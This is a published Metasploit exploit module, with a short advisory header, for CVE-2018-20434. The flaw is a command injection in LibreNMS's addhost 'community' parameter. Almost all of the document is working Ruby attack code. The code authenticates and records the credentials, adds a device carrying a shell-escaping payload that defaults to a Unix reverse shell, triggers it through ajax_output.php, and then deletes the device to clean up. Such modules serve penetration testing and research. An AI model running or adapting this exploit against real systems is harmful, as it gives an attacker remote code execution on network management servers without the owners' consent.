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LibreNMS addhost Command Injection

LibreNMS addhost Command Injection
Posted Jun 4, 2019
Authored by Shelby Pace, mhaskar | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in the open source network management software known as LibreNMS. The community parameter used in a POST request to the addhost functionality is unsanitized. This parameter is later used as part of a shell command that gets passed to the popen function in capture.inc.php, which can result in execution of arbitrary code. This module requires authentication to LibreNMS first.

tags | exploit, arbitrary, shell, php
advisories | CVE-2018-20434
MD5 | 1e5777dda1da78cd1019c88880b3908d

LibreNMS addhost Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'LibreNMS addhost Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the open source
network management software known as LibreNMS. The community parameter used
in a POST request to the addhost functionality is unsanitized. This parameter
is later used as part of a shell command that gets passed to the popen function
in capture.inc.php, which can result in execution of arbitrary code.

This module requires authentication to LibreNMS first.
),
'License' => MSF_LICENSE,
'Author' =>
[
'mhaskar', # Vulnerability discovery and PoC
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2018-20434' ],
[ 'URL', 'https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/' ],
[ 'URL', 'https://gist.github.com/mhaskar/516df57aafd8c6e3a1d70765075d372d' ]
],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'unix',
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }
}
]
],
'DisclosureDate' => '2018-12-16',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
])
end

def login
login_uri = normalize_uri(target_uri.path, 'login')
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

cookies = res.get_cookies

login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

cookies = login_res.get_cookies
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'cookie' => cookies)
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

print_status('Successfully logged into LibreNMS. Storing credentials...')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
login_res.get_cookies
end

def add_device(cookies)
add_uri = normalize_uri(target_uri.path, 'addhost')
@hostname = Rex::Text.rand_text_alpha(6...12)
comm_payload = "'; #{payload.encoded}#'"

res = send_request_cgi(
'method' => 'POST',
'uri' => add_uri,
'cookie' => cookies,
'vars_post' =>
{
'snmp' => 'on',
'force_add' => 'on',
'snmpver' => 'v2c',
'hostname' => @hostname,
'community' => comm_payload,
'authalgo' => 'MD5',
'cryptoalgo' => 'AES',
'transport' => 'udp',
'port_assoc_mode' => 'ifIndex'
}
)

fail_with(Failure::NotFound, 'Failed to add device') unless res && res.body.include?('Device added')
print_good("Successfully added device with hostname #{@hostname}")

host_id = res.get_html_document.search('div[@class="alert alert-success"]/a[@href]').text
fail_with(Failure::NotFound, "Couldn't retrieve the id for the device") if host_id.empty?
host_id = host_id.match(/(\d+)/).nil? ? nil : host_id.match(/(\d+)/)

fail_with(Failure::NotFound, 'Failed to retrieve a valid device id') if host_id.nil?

host_id
end

def del_device(id, cookies)
del_uri = normalize_uri(target_uri.path, 'delhost')
res = send_request_cgi(
'method' => 'POST',
'uri' => del_uri,
'cookie' => cookies,
'vars_post' =>
{
'id' => id,
'confirm' => 1
}
)

print_status('Unsure if device was deleted. No response received') unless res

if res.body.include?("Removed device #{@hostname.downcase}")
print_good("Successfully deleted device with hostname #{@hostname} and id ##{id}")
else
print_status('Failed to delete device. Manual deletion may be needed')
end
end

def exploit
exp_uri = normalize_uri(target_uri.path, 'ajax_output.php')
cookies = login

host_id = add_device(cookies)
send_request_cgi(
'method' => 'GET',
'uri' => exp_uri,
'cookie' => cookies,
'vars_get' =>
{
'id' => 'capture',
'format' => 'text',
'type' => 'snmpwalk',
'hostname' => @hostname
}
)

del_device(host_id, cookies)
end
end

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